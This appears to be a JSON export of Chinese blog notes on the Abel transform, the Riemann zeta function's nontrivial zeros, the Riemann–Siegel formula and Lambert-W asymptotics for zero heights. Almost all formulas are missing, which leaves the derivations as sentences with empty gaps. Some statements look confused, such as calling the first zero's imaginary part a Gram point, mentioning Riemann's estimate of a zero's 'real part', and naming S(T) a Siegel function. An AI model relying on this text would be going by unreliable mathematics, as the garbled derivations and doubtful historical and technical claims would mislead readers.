。这一推导过程揭示了阿贝尔变换的本质：通过引入部分和序列 ，将原始求和分解为边界项与差分 - 部分和乘积的求和，这种结构与分部积分中的 完全对应。 积分形式与推广当将离散序列推广到连续函数时，阿贝尔变换演变为积分形式。设 是区间 上的连续函数， 是有界变差函数，其斯蒂尔杰斯积分形式的阿贝尔变换为： 这一结果可通过对区间进行分割 ，应用离散阿贝尔变换后取最大区间长度趋于零的极限得到。特别地，当 可微时，式 退化为标准的分部积分公式。 在物理应用中，还存在另一种重要的积分形式 —— 阿贝尔积分变换，其定义为： 这一变换适用于处理球对称或轴对称问题，要求 在无穷远处满足 以保证积分收敛。其逆变换公式为： 这种积分变换在光学、等离子体物理等领域用于从观测的辐射强度反推发射系数的径向分布。 关键性质与分析工具阿贝尔引理与收敛性估计阿贝尔变换的重要应用之一是建立级数收敛性的判别准则。阿贝尔引理指出：若数列 单调有界（不妨设非递增），且部分和序列 满足 ，则： 证明直接应用恒等式 并利用三角不等式： 由于 单调，差分项同号，故求和可简化为 ，从而得到式 。这一引理是阿贝尔判别法和狄利克雷判别法的核心工具，后者在判断形如 的级数收敛性时尤为有效 —— 当 单调趋于零且 有界时，级数收敛。 阿贝尔不等式与误差估计在数值分析中，阿贝尔变换提供了估计部分和误差的有效手段。对于单调递减的正数列 和有界部分和 ，有： 这一不等式表明，当 足够小时，尾部和可以被有效控制。在素数定理的证明中，正是利用这一性质估计 的余项，其中 是冯・曼戈尔特函数。 应用场景与实例分析数论中的核心应用阿贝尔变换在数论中具有奠基性地位。以黎曼 ζ 函数的对数形式为例： 通过引入素数计数函数 ，可将其转化为斯蒂尔杰斯积分： 应用阿贝尔变换（分部积分）后得到： 这一公式建立了 函数与素数分布的直接联系，是素数定理证明的关键步骤。式 右侧积分的解析性质研究促使黎曼提出了关于 函数零点分布的著名猜想。 物理问题中的积分变换在等离子体物理中，观测到的辐射强度 与发射系数 的径向分布满足阿贝尔积分变换关系： 其中 是等离子体半径。通过逆变换公式 ，可从实验测量的 反推 的分布。这种反演在惯性约束聚变（ICF）实验中用于诊断等离子体的温度和密度剖面，是间接驱动方案中靶丸压缩对称性分析的核心技术。 经典求和问题的统一解法阿贝尔变换为传统的幂和问题提供了系统化处理方法。例如计算平方和 ，令 ， ，则 ，应用变换公式 ： 右侧第二项展开后包含 ，解方程可得： 这一过程避免了传统的代数递推法，展现了阿贝尔变换处理多项式求和的普适性。类似地，等比 - 等差乘积数列 的求和也可通过令 （等差）， （等比），利用部分和 快速求解。 现代拓展与前沿应用高维阿贝尔变换与成像科学在三维轴对称问题中，阿贝尔变换被推广为二维形式。对于柱坐标下的函数 ，其二维阿贝尔变换定义为： 这一变换在医学成像（如 PET 扫描）和光学断层成像中用于从投影数据重建三维结构。2024 年的最新研究表明，结合深度学习的阿贝尔变换数值反演算法可将传统方法的计算复杂度从 降至 ，为实时成像提供了可能。 量子场论中的应用在量子场论的路径积分表述中，阿贝尔变换用于处理费米子行列式的离散求和。通过将格点上的乘积项转化为连续积分，研究者成功将夸克禁闭问题与阿贝尔规范场的拓扑性质联系起来。这种离散 - 连续的转换正是阿贝尔原始思想在高能物理中的现代演绎。 总结与展望阿贝尔变换从诞生至今已历经两个世纪，但其核心思想，通过引入中间序列（部分和）实现求和项的重组，依然展现出强大的生命力。从离散的数论问题到连续的物理场论，从纯数学的级数收敛性到应用科学的成像技术，这一变换始终扮演着连接不同数学分支的桥梁角色。 当代研究的前沿方向包括：高维阿贝尔变换的快速数值算法、量子场论中的非交换推广、以及机器学习中基于阿贝尔变换的特征提取方法。特别值得注意的是，2021 年提出的改进 Gauss-Legendre 算法，将阿贝尔变换的数值精度提升了一个量级，为等离子体物理的精密诊断提供了新工具。正如阿贝尔本人在椭圆函数领域的开创性工作一样，这一看似简单的变换公式，仍在不断启发着数学与物理的交叉创新。 阿贝尔变换的真正魅力，或许在于其揭示的数学统一性，离散与连续、有限与无限、纯粹与应用，在此找到了和谐的交汇点。对于当代研究者而言，掌握这一工具不仅意味着解决具体问题的能力，更在于获得一种跨越不同数学分支的思维方式。"},{"title":"","date":"2025-09-14T05:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/6.html","permalink":"https://blog.mhuig.top/notes/Zeta/6","excerpt":"","text":"Ueber die Anzahl der Primzahlen unter einer gegebenen Grösse Ueber die Anzahl der Primzahlen unter einer gegebenen Grösse"},{"title":"","date":"2025-10-18T08:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/61.html","permalink":"https://blog.mhuig.top/notes/Zeta/61","excerpt":"","text":"黎曼 Zeta 函数非平凡零点虚部研究的历史脉络 黎曼 Zeta 函数非平凡零点虚部研究的历史脉络 自 1859 年黎曼提出关于 函数非平凡零点的猜想以来，这些复数零点的虚部特征始终是数学界的核心谜题。这些零点不仅决定着素数分布的精细结构，通过黎曼 - 冯・曼戈尔特公式直接关联到素数计数函数的误差项，其虚部的统计规律更意外地与量子物理中的能级分布产生深刻联系，成为连接纯粹数学与理论物理的桥梁。这里将系统梳理非平凡零点虚部研究的百年历程，从黎曼的原始洞察到当代数值验证的突破，揭示这一问题如何持续挑战人类智力的极限。 历史起源：黎曼的开创性贡献黎曼的天才之处在于将欧拉时代的实变量 函数拓展至整个复平面。对实数 ，欧拉 函数定义为 ，但这一级数在 时发散。通过复变函数论中的解析延拓技术，黎曼证明存在唯一的全纯函数（除 处的单极点外）在 区域与欧拉级数一致，这就是黎曼 函数。其核心突破在于发现该函数满足深刻的函数方程： 这一方程揭示了 函数零点的对称性：若 是零点，则 也是零点。黎曼注意到负偶数 是显然的零点（后世称为平凡零点），而所有非平凡零点（即位于临界带 内的零点）应关于直线 对称分布。基于对前几个零点的数值计算（他手工计算了 等虚部值），黎曼大胆猜测： 所有非平凡零点的实部均为 ，即它们都位于复平面上的临界线 （ ）上。 为将这一猜想与素数分布关联，黎曼引入了阶梯函数 （其中 为素数， ），并证明了里程碑式的积分表示： 这里 是对数积分函数，而求和遍历所有非平凡零点 。这一公式首次将素数分布与复平面上的零点位置直接绑定，其中每个零点 贡献的项 会产生周期性波动，其频率由虚部 决定。因此，非平凡零点虚部的大小和分布直接控制着素数在数轴上的疏密变化。 黎曼的原始论文仅 8 页却蕴含惊人的洞察力，但他未能提供严格证明。事实上，他在论文中坦言：\"当然，人们希望能找到这一结论的严谨证明，但我经过几次短暂而徒劳的尝试后已经放弃了寻找这种证明的努力，因为这对于我当前的研究目标来说并非必要\"。这一搁置开启了数学史上最漫长的探索之一。 早期进展：从手工计算到复分析突破（1859-1940）黎曼猜想提出后的三十余年间，数学界对非平凡零点的研究进展缓慢。直到 1896 年，阿达马和瓦莱 - 普桑分别独立证明了 ，从而确立了素数定理 。但关于临界线的突破则要等到 20 世纪初。 零点计算的手工时代1903 年，丹麦数学家格拉姆（J.P. Gram）开创了系统计算非平凡零点的先河。他利用黎曼 - 西格尔公式的前身，将临界线上的 函数值表示为快速收敛的级数：对 ， 函数可分解为： 误差项 通过计算前 15 个零点的虚部（其中第一个零点的虚部 被称为格拉姆点），格拉姆验证了黎曼猜想对这些零点成立。这一工作的关键意义在于建立了 \"零点计数\" 的范式：通过追踪 的符号变化来定位零点，并结合函数的解析性质确保没有遗漏。 1914 年，英国数学家哈代（G.H. Hardy）取得理论突破，证明存在无穷多个非平凡零点位于临界线上。他的证明基于对 函数在临界线上的积分表示，通过构造特定的整函数并应用刘维尔定理完成反证。虽然未能给出零点的具体分布密度，但这一结果粉碎了 \"临界线上只有有限个零点\" 的悲观猜测，为后续研究注入强心剂。 西格尔的历史性发现黎曼原始论文中有一处神秘的 \" 函数 \" 记法，其具体形式在他去世后半个世纪才被解密。1932 年，德国数学家西格尔（Carl Ludwig Siegel）重新研究黎曼遗留的手稿，发现黎曼实际上已发展出计算临界线 函数值的高效算法，即后世所称的黎曼 - 西格尔公式。这一公式将 表示为有限和与积分余项之和： 其中 是哈代引入的实值函数（满足 ， 为黎曼 - 西格尔 theta 函数），而余项 可被严格控制。这一公式的发现使零点计算效率提升了数个量级，1935 年英国数学家蒂奇马什（E.C. Titchmarsh）借助该公式将验证推进到第 1041 个零点，所有这些零点的虚部均满足 的形式。 数值验证的黄金时代：从计算机到 10 万亿个零点二战后，电子计算机的出现彻底改变了零点计算的格局。1953 年，图灵（Alan Turing）在曼彻斯特大学的 Ferranti Mark I 计算机上实现了首个自动零点验证程序，他创新性地结合黎曼 - 西格尔公式与零点计数函数 （表示虚部 的非平凡零点总数）的估计，发展出 \"封口\" 技术确保区间内没有漏检零点。图灵的方法基于冯・曼戈尔特证明的渐近公式： 其中 是误差项，与 函数零点的分布密切相关。通过比较数值找到的零点个数与 的理论预测，图灵证明了前 1104 个零点均位于临界线上。 算法与硬件的协同进化1960 - 1980 年代见证了零点计算的爆发式增长。1968 年，Rosser 等人使用 IBM 7090 计算机验证了前 350 万个零点；1979 年，Brent 将这一数字推至 8100 万；1986 年，van de Lune 团队在 Cray X - MP 超级计算机上完成了对前 15 亿个零点的验证。这些进展不仅依赖硬件性能的提升，更关键的算法突破包括： 快速傅里叶变换（FFT）加速：将黎曼 - 西格尔公式中的求和转化为卷积运算，使计算复杂度从 降至 区间算术验证：使用严格的浮点计算技术确保不会因舍入误差错过零点 分布式计算：1990 年代后，Wedeniwski 发起的 ZetaGrid 项目利用全球志愿计算资源，2004 年将连续验证推进到前 10 万亿（ ）个零点 这些超大规模计算产生了一个惊人发现： 非平凡零点虚部的间距分布与高斯酉随机矩阵（GUE）特征值的间距分布高度吻合。Odlyzko 对第 个零点附近数十亿个零点的统计分析表明，其局部统计规律与量子混沌系统的能级分布满足相同的普适定律，这一现象至今缺乏理论解释，却成为希尔伯特 - 波利亚猜想（猜测存在自伴算子其谱等价于零点虚部）的最强实验证据。 当代验证的极限截至 2023 年，最新记录由 Platt 和 Trudgian 保持，他们使用改进的 Turing 方法与区间算术，严格证明了虚部 范围内的所有零点均位于临界线上。值得注意的是，这些计算不仅验证了黎曼猜想的正确性，更产生了海量的虚部数据，为研究零点的统计性质提供了实验基础。例如，前 10 万亿个零点的虚部满足： 无理性：所有已计算的虚部均为无理数，且似乎不满足任何代数关系 分布密度：虚部随 增大而变得稀疏，平均间距约为 随机性：虚部的小数部分在 区间内均匀分布，支持其 \"随机性\" 的直觉 理论突破：临界线上零点的密度估计尽管数值验证取得巨大成功，理论上证明 \"几乎所有\" 或 \"正比例\" 的非平凡零点位于临界线上却异常困难。这一方向的首个突破来自 1942 年塞尔伯格（Atle Selberg），他证明了存在常数 ，使得当 时，临界线上虚部 的零点个数至少为 。这一结果虽然未给出具体比例，却首次确立了临界线上零点的 \"丰度\"。 比例定理的演进1974 年，美国数学家莱文森（Norman Levinson）引入创新的 \"双零点\" 方法，通过研究 函数及其导数的零点关联，证明了至少 的非平凡零点位于临界线上。其核心思想是构造辅助函数 ，利用其在临界线附近的模估计得到零点计数的不等式。1989 年，康瑞（Brian Conrey）改进了这一方法，将比例下界提升至 。 2024 年，Guth 和 Maynard 在零点密度估计方面取得重要进展，他们改进了 Ingham 在 1940 年提出的经典零点密度定理。对于 ，令 表示 且 的非平凡零点个数。Ingham 证明了 ，而 Guth - Maynard 将指数从 （0.6）降至 （0.52）。这一改进虽未直接证明更多零点位于临界线，却显著提升了我们对零点在临界带内分布的控制，为解析数论中的许多应用（如短区间素数定理）提供了更强的工具。 函数方程与对称性的深层应用研究非平凡零点虚部的另一重要途径是通过 函数，这是黎曼为简化零点分析引入的整函数： 函数具有完美的对称性 ，且其零点与 函数的非平凡零点完全一致。在临界线上， 为实值函数，因此其零点对应于该实函数的符号变化点，这一性质极大简化了数值搜索。在 2025 年的最新研究中利用 函数的渐近展开： 证明了当 充分大且 （ ）时， 函数的模有严格正下界，从而排除了远离临界线处零点的存在性。这一结果虽未证明黎曼猜想，却为零点虚部的大小提供了定量控制。 未解决的核心问题与哲学思考历经 160 余年研究，黎曼猜想仍屹立不倒，其困难程度远超黎曼最初的预期。从数学角度看，非平凡零点虚部研究面临的核心挑战包括： 整体性与局部性的矛盾： 函数的零点是整体定义的对象，但其虚部的局部行为却表现出随机性，如何调和这两种特性？ 分析与代数的鸿沟：现有方法高度依赖复分析技巧（如模估计、积分表示），缺乏代数几何或数论几何的全新视角 物理直觉的数学化：零点虚部与量子混沌的关联暗示可能存在深刻的算子理论解释，但希尔伯特 - 波利亚猜想（猜测存在自伴算子其特征值为零点虚部）至今未被证实 从哲学层面看，黎曼猜想的研究史揭示了数学真理的双重性：一方面，前 10 万亿个零点的数值证据压倒性地支持猜想成立；另一方面，数学真理不能仅靠归纳确立，哥德尔不完备定理提醒我们，某些命题可能在现有公理体系内无法判定。黎曼猜想的困难之处在于，它处于纯粹分析与算术之间的无人地带，需要同时掌握两门学科的最深层工具。 未来的突破可能来自意想不到的方向，或许是 Langlands 纲领的某种变形，或许是量子场论中的新方法，甚至可能需要创造全新的数学分支。无论结果如何，对非平凡零点虚部的探索已经并将继续深刻改变人类对数学本质的理解，这些研究将把我们引向一些全新的数学领域。 黎曼猜想漫谈"},{"title":"","date":"2025-10-18T10:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/62.html","permalink":"https://blog.mhuig.top/notes/Zeta/62","excerpt":"","text":"黎曼 Zeta 函数非平凡零点虚部的表达式 黎曼 Zeta 函数非平凡零点虚部的表达式 背景与历史渊源黎曼 Zeta 函数 的非平凡零点虚部表达式的研究贯穿了超过一个半世纪的数学史。1859 年，伯恩哈德・黎曼首次系统性地研究了 函数的零点性质。他通过构造辅助函数 揭示了深刻的对称性 ，这一发现直接暗示非平凡零点应关于临界线 对称分布。 黎曼敏锐地观察到，所有非平凡零点可能都位于临界线上，并给出了零点计数的渐近估计公式。1905 年，曼戈尔特（von Mangoldt）严格证明了黎曼提出的零点计数公式，揭示了零点虚部 的分布规律。 20 世纪以来，随着复分析技术和计算数学的发展，数学家们对零点虚部的解析表达式进行了深入研究。塞尔伯格（Selberg）在 1940 年代建立了 函数零点分布的更精确理论，而蒙特戈马利（Montgomery）在 1970 年代提出的 \"对关联猜想\" 将零点虚部的分布与随机矩阵理论联系起来，开辟了新的研究方向。 非平凡零点的严格数学定义黎曼 Zeta 函数的解析延拓黎曼 Zeta 函数最初定义为狄利克雷级数： 通过解析延拓， 可定义为全复平面上的亚纯函数，仅在 处有单极点。延拓后的函数满足函数方程： 非平凡零点的特征 函数的零点分为两类：平凡零点位于负偶数点 ，而非平凡零点则位于临界带 内。根据函数方程，若 是非平凡零点，则 也是零点。 黎曼假设断言所有非平凡零点都满足 ，即位于临界线上。因此，零点可表示为 ，其中 为零点的虚部。 零点计数函数定义 为虚部在区间 内的非平凡零点个数（计入重数）。曼戈尔特 - 黎曼公式给出： 其中 称为黎曼 - 西格尔函数，表示 函数在临界线上的辐角变化； 是修正项，满足 。 零点虚部表达式的详细推导渐近展开方法对于按虚部递增排列的第 个非平凡零点 ，其虚部 的渐近行为可通过反演计数函数 得到。当 充分大时，有 。 代入 的主项近似： 这是一个超越方程，可通过迭代法求解。令 ，则方程变为： 逐步迭代可得主渐近公式： 为了获得更精确的表达式，需要考虑 中的对数项。设 ，代入 的完整表达式： 经过详细计算，可得一阶修正公式： 黎曼 - 西格尔公式推导黎曼 - 西格尔公式提供了计算 函数在临界线上值的有效方法，从而可用于精确确定零点位置。公式基于 函数的积分表示： 其中 是雅可比 theta 函数的导数。 通过渐进展开和鞍点方法，黎曼 - 西格尔公式将 表示为有限和加余项的形式： 其中 ，余项 可精确估计。 零点条件 转化为求解超越方程： 该方程可通过数值方法（如牛顿迭代法）求解，得到零点虚部 的精确值。 基于递推关系的构造方法Artur Kawalec 在 2022 年的研究中提出，假设黎曼假设成立，可通过 次级 Zeta 函数族的封闭形式表示 构建非平凡零点的递推公式 …。该公式需依赖前 个零点的信息来生成第 个零点，形式如下： 此公式通过对数导数和根提取法从 Zeta 函数的 Weierstrass 乘积展开中推导而来，数值验证显示其对前几个零点的逼近精度可达小数点后 13 位。递推过程中需逐步去除已发现零点的贡献，且随着 增大需提高参数 以维持精度。 与素数分布的关联公式Kawalec 还发现非平凡零点与素数之间存在双向映射关系：所有素数可转化为单个非平凡零点，反之亦然 … 。尽管具体转换公式涉及复杂的级数展开，但其核心思想是通过 Zeta 函数的欧拉乘积与零点的 Hadamard 乘积之间的等价性建立联系。例如，第 个零点的虚部 可通过对素数序列的某种加权求和近似，但该过程需数值迭代实现。 积分方程方法近年来，研究人员发现了非平凡零点满足的积分方程。对于 ，有： 其中 表示 的分数部分。 将实部和虚部分离，可得关于 的实积分方程： 这一方程虽然复杂，但为理论研究提供了新视角。该方程将零点与积分变换的特征值问题关联，提供了零点存在性的另一种刻画方式。该积分方程对所有非平凡零点均成立，无论黎曼假设是否为真，这为零点研究提供了新的约束条件。 ... 推导过程 从原始定义到积分表示 当 时，ζ 函数定义为 利用黎曼 - 斯蒂尔切斯积分，可将部分和表示为： 其中 为取整函数。通过分部积分（设 ， ），得： 由于 ，当 时， （因 ），故： 分离整数部分与小数部分 对任意实数 ，有 ，其中 为小数部分函数（ ）。代入上式得： 计算第一项积分： 代入后整理得： 收敛域的拓展 上式的核心在于积分项 的收敛性。由于 ，被积函数满足 ，而积分 当 时收敛（ ）。因此，通过解析延拓，上式的收敛域可从 拓展至 且 。收敛域分析原始定义的收敛域：ζ 函数的级数定义域 仅在 收敛。 积分表示的收敛域：积分项的收敛依赖于 ，而 在 处有单极点（与 ζ 函数的奇点一致）。因此，最终结果的收敛域为 且 ζ(s) 的积分表达式已知当 时，黎曼 ζ 函数可表示为：其中 为小数部分函数， 为取整函数。对 ζ(s) 进行解析延拓为处理 ζ(s) 的非平凡零点 （满足 ），需将式 延拓到全复平面。利用 ，可将式 改写为：进一步拆分积分区间并引入变量替换 （中心平移以对称化小数部分），得到：代入非平凡零点条件设 为 ζ(s) 的非平凡零点（即 ），代入式 得：整理后得到：拆分积分并引入对称化小数部分将积分区间 拆分为 和 ，并对后者作变量替换 ，得到：注意到 在平移后具有对称性，可表示为 （当 时）。代入式 并合并同类项：计算积分并整理等式计算式 中第一项积分：将式 代入式 ，再结合式 的 ，得到：两边同乘 并移项，最终得到：关键结论通过解析延拓和对称化处理，成功将 ζ(s) 的积分表达式与非平凡零点 关联，最终推导出：该等式揭示了黎曼 ζ 函数零点与小数部分函数积分的深层联系，为研究零点分布提供了积分形式的约束条件。 虚部分布的特殊性质与统计规律对关联猜想与随机矩阵理论蒙特戈马利对关联猜想指出，非平凡零点虚部的归一化间距分布与高斯幺正系综（GUE）的特征值间距分布一致。定义归一化间距为： 则对关联函数满足： 这一深刻联系表明素数分布与量子混沌系统之间存在内在关联。 零点虚部的矩估计零点虚部的 阶矩定义为： 研究表明，矩的增长服从特定规律： 其中常数 与随机矩阵理论中的相应矩有关。 应用与计算方法在素数分布中的应用零点虚部表达式在素数定理的余项估计中起关键作用。在黎曼假设成立的条件下，素数计数函数 的误差项可表示为： 其中求和遍及所有非平凡零点 。虚部 的大小决定了相应项对误差的贡献程度，前几个零点（虚部最小的零点）对素数分布的影响最为显著。 数值计算方法现代零点计算主要基于以下技术： 黎曼 - 西格尔公式：用于高效计算 函数在临界线上的值 奥德利兹克算法：利用快速傅里叶变换提高计算效率 戈尔德斯顿 - 施密特方法：基于差分方程的数值技术 当前计算已验证超过 个零点位于临界线上，但黎曼假设的一般性证明仍遥不可及。 理论物理学中的出现零点虚部分布规律在量子混沌、弦理论等物理领域也有重要应用。特别是， 的统计性质与某些量子系统的能级间距分布惊人相似，这为数学与物理的交叉研究提供了丰富素材。 前沿进展与开放问题近年来，研究人员在零点虚部研究方面取得了若干进展： 渐近公式的改进：Conrey、Ghosh 等人获得了 更精确的渐近展开式 局部统计学：Rudnick-Sarnak 理论研究了高维 函数零点虚部的普遍性 计算验证：Gourdon-Demichel 通过分布式计算将零点验证推进到新的高度 然而，以下核心问题仍然开放： 黎曼假设的证明或证伪 函数的最佳上界估计 零点虚部与特定数学常数（如 、 ）的算术关系 虚部分布在高维 函数中的普遍性原理 零点虚部表达式的研究不仅是解析数论的核心课题，也深刻影响着现代数学的发展方向。如果我们能理解 函数零点的奥秘，就将揭开素数分布的最深层次规律。"},{"title":"","date":"2025-10-18T10:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/63.html","permalink":"https://blog.mhuig.top/notes/Zeta/63","excerpt":"","text":"黎曼 - 西格尔公式 黎曼 - 西格尔公式 1859 年，黎曼在其划时代论文《论小于给定数值的素数个数》中埋下了一颗数学种子，一个未被证明却暗示着 函数深层结构的渐近展开式。这颗种子在黎曼去世 70 年后，由西格尔从哥廷根大学图书馆的遗稿中发掘，最终绽放为现代解析数论的核心工具：黎曼 - 西格尔公式。这一公式不仅揭示了 函数在临界线 上的精细行为，更成为计算非平凡零点、验证黎曼猜想的数值实验基础。其发现过程本身就是一段跨越世纪的数学传承，黎曼凭借直觉写下关键步骤，西格尔则以考古学家般的耐心重构证明细节，而哈代、利特尔伍德等后人又在此基础上发展出近似函数方程理论。 历史背景：从黎曼遗稿到西格尔的突破黎曼在 1859 年写给魏尔斯特拉斯的信中曾提及 \" 一种对 函数的新发展 \"，但因\" 尚未简化到足以发表 \" 而搁置。这份未完成的工作随着黎曼 1866 年去世被尘封，直到 1920 年代，西格尔在审查黎曼手稿时，发现了一组涉及特殊积分 的计算笔记。这些笔记显示，黎曼已掌握一种计算 在临界线上渐近展开的方法，其精度远超当时学术界的认知，他甚至通过该方法手动计算出前几个非平凡零点，其中第一个零点的实部估值为 ，与现代计算的 仅相差千分之三。 西格尔的关键贡献在于，他将黎曼零散的笔记系统化，严格证明了这一展开式的收敛性并给出余项估计。1932 年发表的论文《论黎曼解析数论遗稿》中，西格尔指出黎曼的方法基于一个核心积分： 这一积分具有深刻的数论意义，后来被克罗内克和莫德尔用于推导高斯和互反公式的最简证明。值得注意的是，当西格尔完成这项工作时，纳粹已开始掌权，哥廷根学派的黄金时代行将结束，这篇论文因此被视为 \"欧陆古典分析的最后余晖\"。 数学基础：黎曼 函数与 函数的积分表示 函数的基本性质黎曼 - 西格尔公式的起点是一个特殊的积分变换。定义 黎曼 函数 为复平面上的路径积分： 其中积分路径 表示从第四象限到第二象限、斜率为 且穿过实轴 区间的直线。这一奇特路径选择并非偶然 —— 它使得积分能够同时避开被积函数的极点（位于整数点 ）并捕捉到复平面上的指数衰减行为。 通过柯西定理和路径变形，黎曼导出了 的两个关键差分方程： 周期性关系： 函数方程： 联立这两个方程并求解积分常数，得到 的闭合形式： 这一结果对所有复数 成立，揭示了 作为亚纯函数的本质，其极点恰好对应分母的零点 ，即 为整数时。 函数的积分表示与解析延拓黎曼的天才之处在于将 与 函数联系起来。考虑 的经典积分表示（对 成立）： 通过围道积分和变量替换，黎曼将其延拓至全平面，并得到关键公式： 其中 是绕负虚轴的围道。这个表示的革命性在于，它将 分解为两部分：有限项求和 与一个复杂积分。当 时，积分项的渐近行为成为主导，而黎曼正是通过 函数系统地计算了这一渐近展开。 黎曼 - 西格尔公式的陈述黎曼 - 西格尔公式针对临界线 （ ）给出 的近似表达式。定义 Riemann-Siegel theta 函数： Tips 现代标准定义 通过伽马函数的反射公式和倍乘公式，θ 函数还可表示为其他等价形式，例如： 其渐近展开为： Tips 渐近展开式当 时，黎曼西格尔 θ 函数的渐近展开式包含多项式项与指数衰减项，具体形式为： 其中： 多项式主项： 描述了函数的整体增长趋势，反映了伽马函数幅角的主导行为； 伯努利数修正项： 通过伯努利数 （如 、 ）对主项进行修正，体现了伽马函数渐近展开的高阶贡献； 指数衰减项： 可进一步展开为无穷级数 ，其衰减速度极快（例如 在 时约为 ），因此在数值计算中通常只需保留前几项。 则黎曼 - 西格尔积分公式表述为： 其中 为实值函数（Hardy 函数）， 为误差项。公式的本质是将 的求和截断于 处，并通过函数方程的对称性补偿尾部。 核心推导：鞍点法与渐近展开黎曼 - 西格尔公式的严格推导依赖复分析中的鞍点法（method of steepest descent），其核心思想是寻找积分路径上被积函数模值最大的点（鞍点），并在此点附近作泰勒展开。对 的积分表示，黎曼发现鞍点位于 ，其中 是与 相关的整数参数。 临界线情形的简化当限制 于临界线上时，公式得到显著简化。西格尔证明，此时 可表示为两个快速收敛级数的和： 其中： 是由 函数诱导的相位因子 是最优截断参数 是余项，包含 函数的高阶导数项 这一公式的精妙之处在于 的选择，黎曼发现当 时，两个级数的收敛速度最快，这一现象被后人称为 \"黎曼对称\"，也是近似函数方程的雏形。 余项估计与渐近级数西格尔的关键突破是给出余项 的严格估计。通过对积分路径分段分析，他证明： 更精确地，黎曼手稿中给出的展开式包含 函数的各阶导数： 其中 ， 是修正项，系数 可通过递推关系计算。这种带导数项的渐近展开，使得黎曼 - 西格尔公式在数值计算中表现出惊人效率，仅需计算前几项即可达到极高精度。 数学意义与应用黎曼 - 西格尔公式的影响远超数值计算本身，它为解析数论提供了全新视角： 临界线零点的分布研究通过将 表示为振荡级数，黎曼 - 西格尔公式揭示了其零点与三角级数零点之间的关联。西格尔在论文中指出，黎曼可能通过这一展开推测 \"临界线上存在无限多个零点\"，这一猜想后来被哈代于 1914 年证明。现代计算已验证前 个非平凡零点均位于临界线上，其算法基础正是黎曼 - 西格尔公式的数值实现。 函数方程的深化理解公式推导过程中自然导出 函数的函数方程： 这一方程将 与 联系起来，暗示了零点关于临界线 的对称性。黎曼 - 西格尔公式通过显式展开验证了这一对称性，当 沿临界线移动时，公式中的两个级数项呈现镜像关系。 计算复杂性的突破在计算机时代之前，黎曼 - 西格尔公式是计算 函数值的唯一高效方法。即便是今天，它仍是数值算法的核心，与直接求和 需 项不同，黎曼 - 西格尔公式仅需 项即可达到同等精度。这种平方根级别的复杂度降低，使得大规模零点计算成为可能。 结语：未完成的交响曲黎曼 - 西格尔公式的故事，是数学史上 \"未完成\" 与 \"再发现\" 的典范。黎曼凭借超越时代的直觉勾勒出框架，西格尔以严谨填补细节，而后续数学家又不断拓展其应用边界。 然而，这一公式仍留下深刻谜题：黎曼是如何发现积分 的关键性质？他声称 \" 可借助新展开式证明临界线上零点密度渐近等于 \"，但手稿中未发现完整证明。这些悬而未决的问题，恰如黎曼猜想本身，继续挑战着 21 世纪的数学家，或许，下一个西格尔正在某个图书馆的故纸堆中，等待着与黎曼跨越时空的对话。 黎曼 - 西格尔公式的真正魔力在于，它不仅是计算工具，更是思想路标，它提示我们，在解析数论的核心地带，仍存在着未被探索的数学风景，而黎曼遗留的手稿，可能还藏着更多解开谜团的钥匙。"},{"title":"","date":"2025-10-18T06:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/60.html","permalink":"https://blog.mhuig.top/notes/Zeta/60","excerpt":"","text":"Zeta 非平凡零点虚部渐近公式 Zeta 非平凡零点虚部渐近公式 黎曼 函数非平凡零点的虚部分布是解析数论的核心课题，其渐近规律不仅揭示了素数分布的深层结构，更与黎曼假设（RH）的真伪紧密相连。虚部渐近公式的历史演进，从黎曼原始猜想出发，通过黎曼 - 冯・曼戈尔特公式建立零点计数函数与虚部的关联，最终推导出基于朗伯函数的显式近似表达式，并分析其在极端大尺度下的精度表现。这些公式的每一步推导都交织着复分析技巧与数论直觉，构成了理解临界线神秘零点的关键框架。 历史背景与临界带约束1859 年，黎曼在其开创性论文中首次预言：ζ 函数的非平凡零点（即满足 且 的复根）可能全部位于临界线 上。这一猜想至今悬而未决，但其蕴含的零点分布规律已通过数值计算与理论分析逐步揭示。对于虚部 （约定 且按递增顺序排列），早期研究主要关注临界带内的非存在性证明，当 且 时，完成 ζ 函数满足指数衰减估计： 其中 为常数。这一结果表明在临界线外 ，ξ 函数的模随 增长而趋于零，从而不可能存在零点，为后续集中研究临界线上的虚部分布奠定了基础。 零点计数函数与黎曼 - 冯・曼戈尔特公式虚部渐近公式的推导始于零点计数函数 的精确表达式，定义为临界线上满足 的非平凡零点个数。黎曼最初猜想 而冯・曼戈尔特在 1905 年严格证明了完整的渐近公式： 其中 为 Siegel 函数，其模长满足 。这一公式揭示了零点分布的宏观规律：当 时，零点密度与 成正比，即相邻零点的平均间距约为 。 对 进行反演是获取 渐近行为的关键。若忽略次要项 与常数项，近似有 令 （假设零点简单且无重根），可得关于 的超越方程： 这一方程最早由 LeClair 通过数值实验验证，其精度随 增大而提高。 基于朗伯函数的显式渐近公式上述超越方程的解析求解依赖朗伯 W 函数，定义为 的多值反函数。令 ，则方程可改写为： 两边取指数得 ，即 。应用朗伯 W 函数的主分支 ，解得： 当 时，自变量 ，此时朗伯函数满足渐近展开 。代入可得： 经指数化与整理，最终得到虚部的首项渐近公式： 更精确的表达式需包含高阶修正项。LeClair 通过数值拟合得到： 其中 为朗伯函数的主分支。这一公式对极端大 （如 ）仍能保持小数点后三位的精度，展示了其强大的预测能力。 误差分析与数值验证朗伯函数近似的误差来源主要包括： Siegel 项修正： 带来的随机波动，其均方根误差为 高阶渐近项：黎曼 - 冯・曼戈尔特公式中的 项及朗伯函数展开的次要项 零点间距涨落：相邻零点间距的统计分布符合随机矩阵理论预测，存在局部偏差 数值验证表明，当 时，朗伯函数近似的绝对误差小于 0.1；而对 ，误差已降至 量级。这一精度特性使得该公式成为计算超大序号零点的高效工具。例如，通过快速收敛的朗伯函数算法，可在秒级时间内估算出 对应的虚部： 这一结果与直接数值积分相比，计算复杂度从 降至 ，体现了解析渐近公式的不可替代性。 前沿挑战与未解决问题尽管朗伯函数近似取得了巨大成功，虚部渐近行为仍存在诸多深刻问题： 误差项的解析表示：目前仅知 但具体系数尚未确定，非平凡零点虚部的精确解析公式仍是未解之谜 零点对关联：相邻零点间距 的渐近分布是否满足普适性统计规律，仍需更多理论支持 RH 对渐近公式的影响：若 RH 